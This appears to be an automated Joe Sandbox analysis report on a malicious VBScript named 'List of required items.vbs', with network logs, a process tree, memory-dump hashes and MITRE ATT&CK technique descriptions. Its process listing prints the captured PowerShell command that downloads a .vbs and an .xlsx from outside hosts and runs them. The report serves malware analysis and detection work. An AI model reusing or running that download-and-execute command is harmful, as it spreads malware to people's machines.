2024-12-08 09:48:31 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:30 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 343716b3-001e-00a2-4003-48d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094831Z-r1cf579d7788pwqzhC1EWRrpd80000000560000000003vak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:30 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:31 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 09209696-a01e-0021-6305-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094831Z-r1cf579d7786c2tshC1EWRr1gc00000004rg000000000hew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:31 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	1
Start time:	04:46:13
Start date:	08/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs"
Imagebase:	0x7ff72fbd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:46:14
Start date:	08/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:46:14
Start date:	08/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:46:18
Start date:	08/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:46:21
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Public\s5wu2avs.xlsx"
Imagebase:	0x9f0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:47:26
Start date:	08/12/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 8192
Imagebase:	0x7ff721940000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFB4AF22AE5 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2830362579.00007FFB4AF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4af20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f09b2df21739178be864bad7c625d834b907ed0f49c79cd0c54bb387b08199
Instruction ID: 163df56cbd6a88629915a1e7fef9fb56d83cdf82143ee2beb57f6edb2357ef16
Opcode Fuzzy Hash: e6f09b2df21739178be864bad7c625d834b907ed0f49c79cd0c54bb387b08199
Instruction Fuzzy Hash: AAD137B290EB8A0FE7A6AEB8C8651B97FD4EF55310B1805FAD48CCB0D3D9199805C352

Function 00007FFB4AE5965D Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2829663638.00007FFB4AE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4ae50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45720afa74ef6b8995c20853f20791dbc7d84074934d819a4f4853d2613a8f7d
Instruction ID: aa01610c5cfa15403ae9175cec3dda9302e56efc1e250d269805a34f840d4717
Opcode Fuzzy Hash: 45720afa74ef6b8995c20853f20791dbc7d84074934d819a4f4853d2613a8f7d
Instruction Fuzzy Hash: F081D27190CA4C8FEB65EFA8D8557E8BBE4FF55300F2040FAC05DD7192DA3469898B51

Function 00007FFB4AE533B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2829663638.00007FFB4AE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4ae50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fcd1602820b52b2bdfa8d63e1618500603af52d2cd0196c35769eb755492fc2
Instruction ID: e84c246dcd242aff943fccacfeb629c9e6f2830857fca84ca2449a080c9a7614
Opcode Fuzzy Hash: 4fcd1602820b52b2bdfa8d63e1618500603af52d2cd0196c35769eb755492fc2
Instruction Fuzzy Hash: 2B01A77010CB0C8FDB44EF0CE051AA5B3E0FB85320F10056DE58AC3661DA36E882CB41

Non-executed Functions

Function 00007FFB4AE553D8 Relevance: .8, Instructions: 777COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2829663638.00007FFB4AE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4ae50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c02961cbb06b57e2b087894e4730df9ea06590cf7a7cab912df54eb94778eb01
Instruction ID: 699c5ff3627d17aefb7a6657ac68dbce04f237fa6b17d0ed3c3c66fced0519e6
Opcode Fuzzy Hash: c02961cbb06b57e2b087894e4730df9ea06590cf7a7cab912df54eb94778eb01
Instruction Fuzzy Hash: 622287C3A4EAC20BE35D2DECBD161392FD6FB9A2A273901F7E0D84619F5C155A0682D1

Input	Output
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Excel", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report List of required items.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\s5wu2avs.xlsx

C:\Users\Public\~$s5wu2avs.xlsx

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqr2550b.ew1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0vr45gr.mcb.ps1

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
List of required items.vbs